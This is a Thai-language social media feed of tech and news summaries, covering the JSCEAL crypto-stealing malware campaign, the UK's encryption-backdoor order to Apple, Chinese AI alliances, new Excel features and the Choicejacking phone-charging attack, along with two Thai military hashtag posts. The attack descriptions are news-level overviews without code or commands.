    🧠 เรื่องเล่าจากโลกคริปโต: JSCEAL มัลแวร์ที่ซ่อนตัวในโฆษณาและ JavaScript นักวิจัยจาก Check Point พบแคมเปญมัลแวร์ขนาดใหญ่ที่เริ่มต้นตั้งแต่มีนาคม 2024 โดยใช้ชื่อว่า “JSCEAL” ซึ่งมีเป้าหมายคือผู้ใช้แอปซื้อขายคริปโตและกระเป๋าเงินดิจิทัล โดยแฮกเกอร์สร้างแอปปลอมและเว็บไซต์หลอกลวงที่ดูเหมือนของจริง แล้วโปรโมตผ่านโฆษณาบน Facebook และแพลตฟอร์มอื่น ๆ เมื่อเหยื่อคลิกโฆษณา จะถูกนำไปยังเว็บไซต์ปลอมที่ให้ดาวน์โหลดไฟล์ติดตั้ง MSI ซึ่งเมื่อเปิดใช้งาน จะเริ่มกระบวนการเก็บข้อมูลระบบผ่าน PowerShell และสคริปต์ JavaScript ที่ซ่อนอยู่ในเว็บไซต์ จากนั้นจะส่งข้อมูลไปยังเซิร์ฟเวอร์ของแฮกเกอร์ และหากพบว่าเครื่องมีข้อมูลสำคัญ ก็จะปล่อย payload สุดท้ายคือ JSCEAL ซึ่งทำงานผ่าน Node.js JSCEAL ใช้ไฟล์ JavaScript ที่ถูกคอมไพล์ด้วย V8 engine ของ Google ซึ่งทำให้โค้ดถูกซ่อนไว้อย่างแนบเนียนและหลบเลี่ยงการตรวจจับจากแอนติไวรัสได้อย่างมีประสิทธิภาพ ✅ JSCEAL เป็นมัลแวร์ที่ใช้ไฟล์ JavaScript แบบคอมไพล์เพื่อหลบเลี่ยงการตรวจจับ ➡️ ใช้ฟีเจอร์ V8 JSC ของ Google เพื่อซ่อนโค้ด ➡️ ทำให้แอนติไวรัสทั่วไปไม่สามารถวิเคราะห์ได้ก่อนการรันจริง ✅ แคมเปญนี้เริ่มตั้งแต่มีนาคม 2024 และยังคงแพร่กระจายอย่างต่อเนื่อง ➡️ พบโฆษณาปลอมกว่า 35,000 รายการใน EU ภายในครึ่งแรกของปี 2025 ➡️ คาดว่ามีผู้ตกเป็นเหยื่อมากกว่า 10 ล้านคนทั่วโลก ✅ แฮกเกอร์ใช้โฆษณาบน Facebook เพื่อหลอกให้ติดตั้งแอปปลอม ➡️ โฆษณาถูกโพสต์ผ่านบัญชีที่ถูกขโมยหรือสร้างใหม่ ➡️ เว็บไซต์ปลอมเลียนแบบบริการจริง เช่น TradingView ✅ ไฟล์ MSI ที่ดาวน์โหลดจะเปิดเว็บวิวไปยังเว็บไซต์จริงเพื่อหลอกเหยื่อ ➡️ ใช้ msedge_proxy.exe เพื่อเปิดเว็บจริงควบคู่กับการติดตั้งมัลแวร์ ➡️ ทำให้เหยื่อไม่สงสัยว่ามีสิ่งผิดปกติเกิดขึ้น ✅ JSCEAL สามารถขโมยข้อมูลได้หลากหลายประเภท ➡️ รหัสผ่าน, คุกกี้, seed phrase, ข้อมูล Telegram, ภาพหน้าจอ, keystroke ➡️ สามารถดักจับเว็บทราฟฟิกและฝังสคริปต์ในเว็บไซต์ธนาคารหรือคริปโต ✅ มัลแวร์มีโครงสร้างแบบหลายชั้นและปรับเปลี่ยน payload ได้ตามสถานการณ์ ➡️ ใช้ fingerprinting scripts เพื่อประเมินความคุ้มค่าของเหยื่อก่อนปล่อย payload ➡️ มีการตั้ง proxy ภายในเครื่องเพื่อดักข้อมูลแบบ real-time https://www.techradar.com/pro/security/major-new-malware-strain-targets-crypto-users-via-malicious-ads-heres-what-we-know-and-how-to-stay-safe
    0 Comments 0 Shares 132 Views 0 Reviews
  • เรื่องเล่าจากโลกเข้ารหัส: เมื่อ Apple ถูกบังคับให้เปิดประตูหลัง แต่ Google ยังปลอดภัย

    ต้นปี 2025 รัฐบาลสหราชอาณาจักรได้ออกคำสั่งลับที่เรียกว่า “Technical Capability Notice” (TCN) ภายใต้กฎหมาย Investigatory Powers Act ปี 2016 เพื่อให้ Apple สร้างช่องทางให้เจ้าหน้าที่เข้าถึงข้อมูลที่ถูกเข้ารหัสใน iCloud โดยเฉพาะฟีเจอร์ Advanced Data Protection (ADP) ที่แม้แต่ Apple เองก็ไม่สามารถเข้าถึงได้

    Apple ตัดสินใจยกเลิก ADP สำหรับผู้ใช้ใหม่ในสหราชอาณาจักร และให้ผู้ใช้เดิมปิดฟีเจอร์นี้เองภายในช่วงเวลาผ่อนผัน พร้อมยื่นอุทธรณ์คำสั่งต่อศาลพิเศษด้านการสอดแนม (Investigatory Powers Tribunal)

    ในขณะเดียวกัน Google ซึ่งให้บริการเข้ารหัสแบบ end-to-end ในหลายผลิตภัณฑ์ เช่น Android backups กลับออกมายืนยันว่า “ไม่เคยได้รับคำสั่ง TCN” และ “ไม่เคยสร้างช่องโหว่หรือ backdoor ใด ๆ” แม้ก่อนหน้านี้จะปฏิเสธตอบคำถามจากวุฒิสมาชิกสหรัฐฯ Ron Wyden

    การที่ Google ไม่ถูกแตะต้อง ทำให้หลายฝ่ายตั้งคำถามว่า คำสั่งของ UK อาจไม่ได้ครอบคลุมทุกบริษัท หรืออาจมีการเลือกเป้าหมายอย่างเฉพาะเจาะจง

    Apple ถูกสั่งให้สร้าง backdoor ในระบบเข้ารหัสของ iCloud
    คำสั่งออกโดย UK Home Office ผ่าน Technical Capability Notice (TCN)
    ส่งผลให้ Apple ยกเลิกฟีเจอร์ Advanced Data Protection (ADP) ใน UK

    Google ยืนยันว่าไม่เคยได้รับคำสั่ง TCN จากรัฐบาล UK
    Karl Ryan โฆษกของ Google ระบุว่า “เราไม่เคยสร้างช่องโหว่ใด ๆ”
    “ถ้าเราบอกว่าระบบเข้ารหัสแบบ end-to-end ก็หมายความว่าไม่มีใครเข้าถึงได้ แม้แต่เราเอง”

    ภายใต้กฎหมาย UK บริษัทที่ได้รับคำสั่ง TCN ห้ามเปิดเผยว่าตนได้รับคำสั่งนั้น
    ทำให้เกิดความคลุมเครือว่าบริษัทใดถูกสั่งจริง
    Meta เป็นอีกบริษัทที่ยืนยันว่าไม่เคยได้รับคำสั่ง TCN

    Apple ยื่นอุทธรณ์คำสั่งต่อศาลพิเศษ และได้รับการสนับสนุนจาก WhatsApp
    คดีนี้อาจกลายเป็นจุดเปลี่ยนสำคัญของการปกป้องความเป็นส่วนตัว
    มีองค์กรกว่า 200 แห่งร่วมลงชื่อเรียกร้องให้รัฐบาล UK ยกเลิกคำสั่ง

    รัฐบาลสหรัฐฯ กดดันให้ UK ยุติคำสั่ง TCN ต่อ Apple
    รองประธานาธิบดี JD Vance และวุฒิสมาชิก Wyden แสดงความกังวล
    อ้างว่าเป็นการละเมิดสนธิสัญญา Cloud Act ระหว่างสหรัฐฯ กับ UK

    การสร้าง backdoor ในระบบเข้ารหัสอาจเปิดช่องให้เกิดการละเมิดความเป็นส่วนตัวทั่วโลก
    ผู้ใช้ทั่วโลกอาจถูกเข้าถึงข้อมูลโดยไม่ได้รับอนุญาต
    ช่องโหว่ที่สร้างโดยรัฐอาจถูกแฮกเกอร์ใช้ในอนาคต

    กฎหมาย TCN ห้ามบริษัทเปิดเผยว่าตนได้รับคำสั่ง ทำให้ผู้ใช้ไม่รู้ว่าข้อมูลตนถูกเข้าถึงหรือไม่
    ขาดความโปร่งใสในการคุ้มครองข้อมูล
    ผู้ใช้ไม่สามารถตรวจสอบหรือป้องกันตัวเองได้

    การยกเลิก ADP ใน UK ทำให้ผู้ใช้สูญเสียการปกป้องข้อมูลขั้นสูง
    แม้จะใช้ VPN ก็ไม่สามารถทดแทนการเข้ารหัสแบบ end-to-end ได้
    เสี่ยงต่อการถูกเข้าถึงข้อมูลโดยหน่วยงานรัฐหรือบุคคลที่สาม

    การเลือกเป้าหมายเฉพาะเจาะจงอาจสะท้อนถึงการเมืองเบื้องหลังคำสั่ง TCN
    Google อาจรอดเพราะเหตุผลทางการค้า การเมือง หรือการเจรจา
    สร้างความไม่เท่าเทียมในการคุ้มครองผู้ใช้ระหว่างบริษัทต่าง ๆ

    https://www.techspot.com/news/108870-google-never-received-uk-demand-encryption-backdoor-unlike.html
    🧠 เรื่องเล่าจากโลกเข้ารหัส: เมื่อ Apple ถูกบังคับให้เปิดประตูหลัง แต่ Google ยังปลอดภัย ต้นปี 2025 รัฐบาลสหราชอาณาจักรได้ออกคำสั่งลับที่เรียกว่า “Technical Capability Notice” (TCN) ภายใต้กฎหมาย Investigatory Powers Act ปี 2016 เพื่อให้ Apple สร้างช่องทางให้เจ้าหน้าที่เข้าถึงข้อมูลที่ถูกเข้ารหัสใน iCloud โดยเฉพาะฟีเจอร์ Advanced Data Protection (ADP) ที่แม้แต่ Apple เองก็ไม่สามารถเข้าถึงได้ Apple ตัดสินใจยกเลิก ADP สำหรับผู้ใช้ใหม่ในสหราชอาณาจักร และให้ผู้ใช้เดิมปิดฟีเจอร์นี้เองภายในช่วงเวลาผ่อนผัน พร้อมยื่นอุทธรณ์คำสั่งต่อศาลพิเศษด้านการสอดแนม (Investigatory Powers Tribunal) ในขณะเดียวกัน Google ซึ่งให้บริการเข้ารหัสแบบ end-to-end ในหลายผลิตภัณฑ์ เช่น Android backups กลับออกมายืนยันว่า “ไม่เคยได้รับคำสั่ง TCN” และ “ไม่เคยสร้างช่องโหว่หรือ backdoor ใด ๆ” แม้ก่อนหน้านี้จะปฏิเสธตอบคำถามจากวุฒิสมาชิกสหรัฐฯ Ron Wyden การที่ Google ไม่ถูกแตะต้อง ทำให้หลายฝ่ายตั้งคำถามว่า คำสั่งของ UK อาจไม่ได้ครอบคลุมทุกบริษัท หรืออาจมีการเลือกเป้าหมายอย่างเฉพาะเจาะจง ✅ Apple ถูกสั่งให้สร้าง backdoor ในระบบเข้ารหัสของ iCloud ➡️ คำสั่งออกโดย UK Home Office ผ่าน Technical Capability Notice (TCN) ➡️ ส่งผลให้ Apple ยกเลิกฟีเจอร์ Advanced Data Protection (ADP) ใน UK ✅ Google ยืนยันว่าไม่เคยได้รับคำสั่ง TCN จากรัฐบาล UK ➡️ Karl Ryan โฆษกของ Google ระบุว่า “เราไม่เคยสร้างช่องโหว่ใด ๆ” ➡️ “ถ้าเราบอกว่าระบบเข้ารหัสแบบ end-to-end ก็หมายความว่าไม่มีใครเข้าถึงได้ แม้แต่เราเอง” ✅ ภายใต้กฎหมาย UK บริษัทที่ได้รับคำสั่ง TCN ห้ามเปิดเผยว่าตนได้รับคำสั่งนั้น ➡️ ทำให้เกิดความคลุมเครือว่าบริษัทใดถูกสั่งจริง ➡️ Meta เป็นอีกบริษัทที่ยืนยันว่าไม่เคยได้รับคำสั่ง TCN ✅ Apple ยื่นอุทธรณ์คำสั่งต่อศาลพิเศษ และได้รับการสนับสนุนจาก WhatsApp ➡️ คดีนี้อาจกลายเป็นจุดเปลี่ยนสำคัญของการปกป้องความเป็นส่วนตัว ➡️ มีองค์กรกว่า 200 แห่งร่วมลงชื่อเรียกร้องให้รัฐบาล UK ยกเลิกคำสั่ง ✅ รัฐบาลสหรัฐฯ กดดันให้ UK ยุติคำสั่ง TCN ต่อ Apple ➡️ รองประธานาธิบดี JD Vance และวุฒิสมาชิก Wyden แสดงความกังวล ➡️ อ้างว่าเป็นการละเมิดสนธิสัญญา Cloud Act ระหว่างสหรัฐฯ กับ UK ‼️ การสร้าง backdoor ในระบบเข้ารหัสอาจเปิดช่องให้เกิดการละเมิดความเป็นส่วนตัวทั่วโลก ⛔ ผู้ใช้ทั่วโลกอาจถูกเข้าถึงข้อมูลโดยไม่ได้รับอนุญาต ⛔ ช่องโหว่ที่สร้างโดยรัฐอาจถูกแฮกเกอร์ใช้ในอนาคต ‼️ กฎหมาย TCN ห้ามบริษัทเปิดเผยว่าตนได้รับคำสั่ง ทำให้ผู้ใช้ไม่รู้ว่าข้อมูลตนถูกเข้าถึงหรือไม่ ⛔ ขาดความโปร่งใสในการคุ้มครองข้อมูล ⛔ ผู้ใช้ไม่สามารถตรวจสอบหรือป้องกันตัวเองได้ ‼️ การยกเลิก ADP ใน UK ทำให้ผู้ใช้สูญเสียการปกป้องข้อมูลขั้นสูง ⛔ แม้จะใช้ VPN ก็ไม่สามารถทดแทนการเข้ารหัสแบบ end-to-end ได้ ⛔ เสี่ยงต่อการถูกเข้าถึงข้อมูลโดยหน่วยงานรัฐหรือบุคคลที่สาม ‼️ การเลือกเป้าหมายเฉพาะเจาะจงอาจสะท้อนถึงการเมืองเบื้องหลังคำสั่ง TCN ⛔ Google อาจรอดเพราะเหตุผลทางการค้า การเมือง หรือการเจรจา ⛔ สร้างความไม่เท่าเทียมในการคุ้มครองผู้ใช้ระหว่างบริษัทต่าง ๆ https://www.techspot.com/news/108870-google-never-received-uk-demand-encryption-backdoor-unlike.html
    WWW.TECHSPOT.COM
    Google says it never received a UK demand for encryption backdoor, unlike Apple
    In a letter to the Director of National Intelligence, Tulsi Gabbard, Senator Ron Wyden, who serves on the Senate Intelligence Committee, wrote about the UK's "reported secret...
    0 Comments 0 Shares 138 Views 0 Reviews
  • ด่วน! ทหารไทยชวนชาวโซเชียลไทย รวมพลังทำสิ่งนี้! [30/7/68]

    #ด่วนทหารไทยประกาศ #ชวนชาวโซเชียลรวมพลัง #รวมพลังเพื่อชาติ #SocialPowerFromThailand #เสียงจากแนวหน้า #ทหารไทยกับประชาชน #ThaiArmyCallsToAction #ข่าววันนี้ #ข่าวดัง #ข่าวโซเชียล
    #กัมพูชายิงก่อน #ไทยนี้รักสงบแต่ถึงรบไม่ขลาด #CambodiaOpenedFire #CambodiaNoCeasefire #TruthFromThailand #Hunsenfiredfirst #thaitimes #news1 #shorts
    ด่วน! ทหารไทยชวนชาวโซเชียลไทย รวมพลังทำสิ่งนี้! [30/7/68] #ด่วนทหารไทยประกาศ #ชวนชาวโซเชียลรวมพลัง #รวมพลังเพื่อชาติ #SocialPowerFromThailand #เสียงจากแนวหน้า #ทหารไทยกับประชาชน #ThaiArmyCallsToAction #ข่าววันนี้ #ข่าวดัง #ข่าวโซเชียล #กัมพูชายิงก่อน #ไทยนี้รักสงบแต่ถึงรบไม่ขลาด #CambodiaOpenedFire #CambodiaNoCeasefire #TruthFromThailand #Hunsenfiredfirst #thaitimes #news1 #shorts
    0 Comments 0 Shares 125 Views 0 0 Reviews
  • ประเทศไทย ใครๆก็รัก เวียดนาม–เมียนมา ชื่นมื่นกองทัพไทย
    (Everyone loves Thailand — Vietnam and Myanmar enjoy warm ties with the Thai military.) [30/7/68]

    #ประเทศไทยใครๆก็รัก #เวียดนามเมียนมาชื่นมื่น #สัมพันธไมตรีกองทัพไทย #ThaiMilitaryDiplomacy #มิตรประเทศอาเซียน #ThaiVietnamMyanmarRelations #SoftPowerThailand #ข่าวความมั่นคง #ข่าววันนี้ #ข่าวดัง #กัมพูชายิงก่อน #ไทยนี้รักสงบแต่ถึงรบไม่ขลาด #CambodiaOpenedFire #CambodiaNoCeasefire #TruthFromThailand #Hunsenfiredfirst #thaitimes #news1 #shorts
    ประเทศไทย ใครๆก็รัก เวียดนาม–เมียนมา ชื่นมื่นกองทัพไทย (Everyone loves Thailand — Vietnam and Myanmar enjoy warm ties with the Thai military.) [30/7/68] #ประเทศไทยใครๆก็รัก #เวียดนามเมียนมาชื่นมื่น #สัมพันธไมตรีกองทัพไทย #ThaiMilitaryDiplomacy #มิตรประเทศอาเซียน #ThaiVietnamMyanmarRelations #SoftPowerThailand #ข่าวความมั่นคง #ข่าววันนี้ #ข่าวดัง #กัมพูชายิงก่อน #ไทยนี้รักสงบแต่ถึงรบไม่ขลาด #CambodiaOpenedFire #CambodiaNoCeasefire #TruthFromThailand #Hunsenfiredfirst #thaitimes #news1 #shorts
    0 Comments 0 Shares 114 Views 0 0 Reviews
  • เรื่องเล่าจากเซี่ยงไฮ้: เมื่อจีนรวมพลังสร้างระบบ AI แบบครบวงจรในประเทศ

    ในงาน World Artificial Intelligence Conference (WAIC) ที่เซี่ยงไฮ้ จีนได้เปิดตัวสองพันธมิตรอุตสาหกรรมใหม่ ได้แก่:

    1️⃣ Model-Chip Ecosystem Innovation Alliance นำโดย StepFun ร่วมกับผู้ผลิตชิปชั้นนำของจีน เช่น Huawei, Biren, Enflame และ Moore Threads เพื่อสร้างระบบนิเวศที่เชื่อมโยงตั้งแต่ฮาร์ดแวร์ โมเดล AI ไปจนถึงโครงสร้างพื้นฐาน โดยมีเป้าหมายเพื่อพัฒนาเทคโนโลยีแบบ end-to-end ภายในประเทศ

    2️⃣ Shanghai General Chamber of Commerce AI Committee มุ่งเน้นการผลักดันการนำ AI ไปใช้ในภาคอุตสาหกรรม โดยมีสมาชิกเช่น SenseTime, MiniMax, MetaX และ Iluvatar CoreX ซึ่งหลายรายเคยถูกสหรัฐฯ คว่ำบาตรจากการใช้เทคโนโลยีเพื่อการเฝ้าระวัง

    ทั้งสองพันธมิตรมีเป้าหมายร่วมกันคือการสร้างมาตรฐานเทคโนโลยีภายในประเทศ ลดการพึ่งพา GPU จาก NVIDIA และซอฟต์แวร์จากสหรัฐฯ โดยเน้นการพัฒนา API, รูปแบบโมเดล และสแต็กซอฟต์แวร์กลางที่สามารถใช้งานร่วมกันได้ในระบบจีนทั้งหมด

    จีนเปิดตัวสองพันธมิตร AI เพื่อสร้างระบบนิเวศภายในประเทศ
    Model-Chip Ecosystem Innovation Alliance เชื่อมโยงผู้ผลิตชิปและนักพัฒนาโมเดล
    Shanghai AI Committee ผลักดันการใช้ AI ในภาคอุตสาหกรรม

    พันธมิตรแรกประกอบด้วย Huawei, Biren, Enflame, Moore Threads และ StepFun
    มุ่งสร้างระบบเทคโนโลยีครบวงจรตั้งแต่ฮาร์ดแวร์ถึงซอฟต์แวร์
    ลดการพึ่งพา GPU จาก NVIDIA ที่ถูกจำกัดการส่งออก

    พันธมิตรที่สองรวมบริษัทที่เคยถูกคว่ำบาตร เช่น SenseTime และ MiniMax
    เปลี่ยนจากเทคโนโลยีเฝ้าระวังมาเป็น LLM และ AI เชิงอุตสาหกรรม
    เชื่อมโยงนักพัฒนา AI กับผู้ใช้งานในภาคธุรกิจ

    เป้าหมายคือการสร้างมาตรฐานกลาง เช่น API และรูปแบบโมเดลที่ใช้ร่วมกันได้
    ลดความซับซ้อนจากสถาปัตยกรรมที่หลากหลาย เช่น Arm, PowerVR
    ส่งเสริมการพัฒนาโมเดลที่สามารถรันบน accelerator ของจีนทุกค่าย

    Huawei เปิดตัว CloudMatrix 384 ที่ใช้ชิป 910C จำนวน 384 ตัว
    ใช้เทคนิค clustering เพื่อชดเชยประสิทธิภาพชิปเดี่ยว
    มีประสิทธิภาพบางด้านเหนือกว่า NVIDIA GB200 NVL72

    https://www.tomshardware.com/tech-industry/artificial-intelligence/china-forms-ai-alliances-to-cut-u-s-tech-reliance-huawei-among-companies-seeking-to-create-unified-tech-stack-with-domestic-powered-standardization
    🧠 เรื่องเล่าจากเซี่ยงไฮ้: เมื่อจีนรวมพลังสร้างระบบ AI แบบครบวงจรในประเทศ ในงาน World Artificial Intelligence Conference (WAIC) ที่เซี่ยงไฮ้ จีนได้เปิดตัวสองพันธมิตรอุตสาหกรรมใหม่ ได้แก่: 1️⃣ Model-Chip Ecosystem Innovation Alliance นำโดย StepFun ร่วมกับผู้ผลิตชิปชั้นนำของจีน เช่น Huawei, Biren, Enflame และ Moore Threads เพื่อสร้างระบบนิเวศที่เชื่อมโยงตั้งแต่ฮาร์ดแวร์ โมเดล AI ไปจนถึงโครงสร้างพื้นฐาน โดยมีเป้าหมายเพื่อพัฒนาเทคโนโลยีแบบ end-to-end ภายในประเทศ 2️⃣ Shanghai General Chamber of Commerce AI Committee มุ่งเน้นการผลักดันการนำ AI ไปใช้ในภาคอุตสาหกรรม โดยมีสมาชิกเช่น SenseTime, MiniMax, MetaX และ Iluvatar CoreX ซึ่งหลายรายเคยถูกสหรัฐฯ คว่ำบาตรจากการใช้เทคโนโลยีเพื่อการเฝ้าระวัง ทั้งสองพันธมิตรมีเป้าหมายร่วมกันคือการสร้างมาตรฐานเทคโนโลยีภายในประเทศ ลดการพึ่งพา GPU จาก NVIDIA และซอฟต์แวร์จากสหรัฐฯ โดยเน้นการพัฒนา API, รูปแบบโมเดล และสแต็กซอฟต์แวร์กลางที่สามารถใช้งานร่วมกันได้ในระบบจีนทั้งหมด ✅ จีนเปิดตัวสองพันธมิตร AI เพื่อสร้างระบบนิเวศภายในประเทศ ➡️ Model-Chip Ecosystem Innovation Alliance เชื่อมโยงผู้ผลิตชิปและนักพัฒนาโมเดล ➡️ Shanghai AI Committee ผลักดันการใช้ AI ในภาคอุตสาหกรรม ✅ พันธมิตรแรกประกอบด้วย Huawei, Biren, Enflame, Moore Threads และ StepFun ➡️ มุ่งสร้างระบบเทคโนโลยีครบวงจรตั้งแต่ฮาร์ดแวร์ถึงซอฟต์แวร์ ➡️ ลดการพึ่งพา GPU จาก NVIDIA ที่ถูกจำกัดการส่งออก ✅ พันธมิตรที่สองรวมบริษัทที่เคยถูกคว่ำบาตร เช่น SenseTime และ MiniMax ➡️ เปลี่ยนจากเทคโนโลยีเฝ้าระวังมาเป็น LLM และ AI เชิงอุตสาหกรรม ➡️ เชื่อมโยงนักพัฒนา AI กับผู้ใช้งานในภาคธุรกิจ ✅ เป้าหมายคือการสร้างมาตรฐานกลาง เช่น API และรูปแบบโมเดลที่ใช้ร่วมกันได้ ➡️ ลดความซับซ้อนจากสถาปัตยกรรมที่หลากหลาย เช่น Arm, PowerVR ➡️ ส่งเสริมการพัฒนาโมเดลที่สามารถรันบน accelerator ของจีนทุกค่าย ✅ Huawei เปิดตัว CloudMatrix 384 ที่ใช้ชิป 910C จำนวน 384 ตัว ➡️ ใช้เทคนิค clustering เพื่อชดเชยประสิทธิภาพชิปเดี่ยว ➡️ มีประสิทธิภาพบางด้านเหนือกว่า NVIDIA GB200 NVL72 https://www.tomshardware.com/tech-industry/artificial-intelligence/china-forms-ai-alliances-to-cut-u-s-tech-reliance-huawei-among-companies-seeking-to-create-unified-tech-stack-with-domestic-powered-standardization
    0 Comments 0 Shares 124 Views 0 Reviews
  • เรื่องเล่าจาก Excel: ฟีเจอร์ใหม่ที่เปลี่ยนการทำงานให้ลื่นไหลและแม่นยำกว่าเดิม

    Microsoft ได้เปิดตัวชุดฟีเจอร์ใหม่ใน Excel ที่ครอบคลุมทุกแพลตฟอร์ม โดยเน้นการเพิ่มประสิทธิภาพในการจัดการข้อมูล, การทำงานร่วมกัน และการรักษาความถูกต้องของสูตรคำนวณในไฟล์เก่าและใหม่

    หนึ่งในฟีเจอร์เด่นคือ Compatibility Versions ที่ช่วยให้ผู้ใช้สามารถเลือกเวอร์ชันของสูตรคำนวณได้ระหว่างแบบเก่า (Version 1) และแบบใหม่ (Version 2) โดย Version 2 จะกลายเป็นค่าเริ่มต้นในเดือนมกราคม 2026 สำหรับไฟล์ใหม่ทั้งหมด

    นอกจากนี้ยังมีฟีเจอร์ที่หลายคนรอคอยอย่าง Auto Refresh สำหรับ PivotTables การรีเฟรชข้อมูลจาก Power Query บน Excel เวอร์ชันเว็บ, การดูหลายชีตพร้อมกันบน Mac, และการขอสิทธิ์แก้ไขไฟล์บน Excel for the Web ได้โดยตรง

    Compatibility Versions: เลือกเวอร์ชันของสูตรคำนวณได้ตามต้องการ
    Version 1 ใช้พฤติกรรมการคำนวณแบบเดิมสำหรับไฟล์เก่า
    Version 2 มีการปรับปรุงสูตร เช่น รองรับอีโมจิ และจะเป็นค่าเริ่มต้นในไฟล์ใหม่ตั้งแต่ ม.ค. 2026

    Auto Refresh สำหรับ PivotTables (เฉพาะผู้ใช้ Insiders บน Windows และ Mac)
    PivotTables จะอัปเดตอัตโนมัติเมื่อข้อมูลต้นทางเปลี่ยน
    ไม่ต้องคลิก Refresh ด้วยตนเองอีกต่อไป

    Get Data Dialog ใหม่บน Windows พร้อมเชื่อมต่อ OneLake Catalog
    ช่วยให้ค้นหาและเชื่อมต่อกับแหล่งข้อมูลภายนอกได้ง่ายขึ้น
    รองรับการเชื่อมต่อกับข้อมูลจาก Microsoft Fabric โดยตรง

    Excel for Mac รองรับการเปิดหลายชีตและหลายหน้าต่างพร้อมกัน
    มีฟีเจอร์ Synchronous Scrolling เพื่อเลื่อนดูข้อมูลพร้อมกัน
    เหมาะสำหรับการเปรียบเทียบข้อมูลระหว่างชีตหรือไฟล์

    Excel for the Web รองรับการรีเฟรชข้อมูลจาก Power Query โดยตรง
    ไม่ต้องดาวน์โหลดไฟล์มาเปิดใน Excel Desktop เพื่อรีเฟรชอีกต่อไป
    รองรับการจัดการข้อมูลจากแหล่งที่ต้องยืนยันตัวตน เช่น SharePoint, SQL Server

    ผู้ใช้ Enterprise สามารถขอสิทธิ์แก้ไขไฟล์ได้โดยตรงใน Excel for the Web
    ไม่ต้องออกจากไฟล์เพื่อส่งอีเมลขอสิทธิ์อีกต่อไป
    เพิ่มความสะดวกในการทำงานร่วมกันในองค์กร

    https://www.neowin.net/news/here-are-all-the-new-features-microsoft-added-to-excel-in-july-2025/
    📊 เรื่องเล่าจาก Excel: ฟีเจอร์ใหม่ที่เปลี่ยนการทำงานให้ลื่นไหลและแม่นยำกว่าเดิม Microsoft ได้เปิดตัวชุดฟีเจอร์ใหม่ใน Excel ที่ครอบคลุมทุกแพลตฟอร์ม โดยเน้นการเพิ่มประสิทธิภาพในการจัดการข้อมูล, การทำงานร่วมกัน และการรักษาความถูกต้องของสูตรคำนวณในไฟล์เก่าและใหม่ หนึ่งในฟีเจอร์เด่นคือ Compatibility Versions ที่ช่วยให้ผู้ใช้สามารถเลือกเวอร์ชันของสูตรคำนวณได้ระหว่างแบบเก่า (Version 1) และแบบใหม่ (Version 2) โดย Version 2 จะกลายเป็นค่าเริ่มต้นในเดือนมกราคม 2026 สำหรับไฟล์ใหม่ทั้งหมด นอกจากนี้ยังมีฟีเจอร์ที่หลายคนรอคอยอย่าง Auto Refresh สำหรับ PivotTables การรีเฟรชข้อมูลจาก Power Query บน Excel เวอร์ชันเว็บ, การดูหลายชีตพร้อมกันบน Mac, และการขอสิทธิ์แก้ไขไฟล์บน Excel for the Web ได้โดยตรง ✅ Compatibility Versions: เลือกเวอร์ชันของสูตรคำนวณได้ตามต้องการ ➡️ Version 1 ใช้พฤติกรรมการคำนวณแบบเดิมสำหรับไฟล์เก่า ➡️ Version 2 มีการปรับปรุงสูตร เช่น รองรับอีโมจิ และจะเป็นค่าเริ่มต้นในไฟล์ใหม่ตั้งแต่ ม.ค. 2026 ✅ Auto Refresh สำหรับ PivotTables (เฉพาะผู้ใช้ Insiders บน Windows และ Mac) ➡️ PivotTables จะอัปเดตอัตโนมัติเมื่อข้อมูลต้นทางเปลี่ยน ➡️ ไม่ต้องคลิก Refresh ด้วยตนเองอีกต่อไป ✅ Get Data Dialog ใหม่บน Windows พร้อมเชื่อมต่อ OneLake Catalog ➡️ ช่วยให้ค้นหาและเชื่อมต่อกับแหล่งข้อมูลภายนอกได้ง่ายขึ้น ➡️ รองรับการเชื่อมต่อกับข้อมูลจาก Microsoft Fabric โดยตรง ✅ Excel for Mac รองรับการเปิดหลายชีตและหลายหน้าต่างพร้อมกัน ➡️ มีฟีเจอร์ Synchronous Scrolling เพื่อเลื่อนดูข้อมูลพร้อมกัน ➡️ เหมาะสำหรับการเปรียบเทียบข้อมูลระหว่างชีตหรือไฟล์ ✅ Excel for the Web รองรับการรีเฟรชข้อมูลจาก Power Query โดยตรง ➡️ ไม่ต้องดาวน์โหลดไฟล์มาเปิดใน Excel Desktop เพื่อรีเฟรชอีกต่อไป ➡️ รองรับการจัดการข้อมูลจากแหล่งที่ต้องยืนยันตัวตน เช่น SharePoint, SQL Server ✅ ผู้ใช้ Enterprise สามารถขอสิทธิ์แก้ไขไฟล์ได้โดยตรงใน Excel for the Web ➡️ ไม่ต้องออกจากไฟล์เพื่อส่งอีเมลขอสิทธิ์อีกต่อไป ➡️ เพิ่มความสะดวกในการทำงานร่วมกันในองค์กร https://www.neowin.net/news/here-are-all-the-new-features-microsoft-added-to-excel-in-july-2025/
    WWW.NEOWIN.NET
    Here are all the new features Microsoft added to Excel in July 2025
    Microsoft Excel grabbed a lot of very useful features this month, such as the ability to auto refresh PivotTables.
    0 Comments 0 Shares 97 Views 0 Reviews
  • เรื่องเล่าจากพอร์ตชาร์จ: เมื่อการเสียบสายกลายเป็นการเปิดประตูให้แฮกเกอร์

    ย้อนกลับไปเมื่อสิบปีก่อน โลกเคยตื่นตัวกับภัย “Juice Jacking” ที่ใช้พอร์ต USB สาธารณะในการติดตั้งมัลแวร์หรือขโมยข้อมูลจากมือถือที่เสียบชาร์จ ทำให้ผู้ผลิตระบบปฏิบัติการมือถืออย่าง Apple และ Google ต้องออกมาตรการป้องกัน เช่น การให้ผู้ใช้เลือก “Charge only” หรือ “Transfer files” ทุกครั้งที่เสียบสาย

    แต่ในปี 2025 นักวิจัยจาก Graz University of Technology ประเทศออสเตรีย ได้เปิดเผยเทคนิคใหม่ชื่อว่า Choicejacking ซึ่งสามารถหลอกให้มือถืออนุญาตการเชื่อมต่อข้อมูลโดยที่ผู้ใช้ไม่รู้ตัวเลยแม้แต่นิดเดียว

    Choicejacking ไม่ใช่มัลแวร์แบบเดิม แต่ใช้การจำลองอุปกรณ์ USB หรือ Bluetooth เช่น คีย์บอร์ด เพื่อส่งคำสั่งปลอมไปยังมือถือให้ตอบตกลงกับหน้าต่างแจ้งเตือนการเชื่อมต่อข้อมูล โดยใช้เวลาเพียง 133 มิลลิวินาที—เร็วกว่าการกระพริบตา!

    Choicejacking เป็นเทคนิคใหม่ที่สามารถหลอกมือถือให้อนุญาตการเชื่อมต่อข้อมูลโดยไม่ต้องแตะหน้าจอ
    ใช้การจำลองอุปกรณ์ USB หรือ Bluetooth เพื่อส่งคำสั่งปลอม
    ใช้เวลาเพียง 133 มิลลิวินาทีในการดำเนินการ

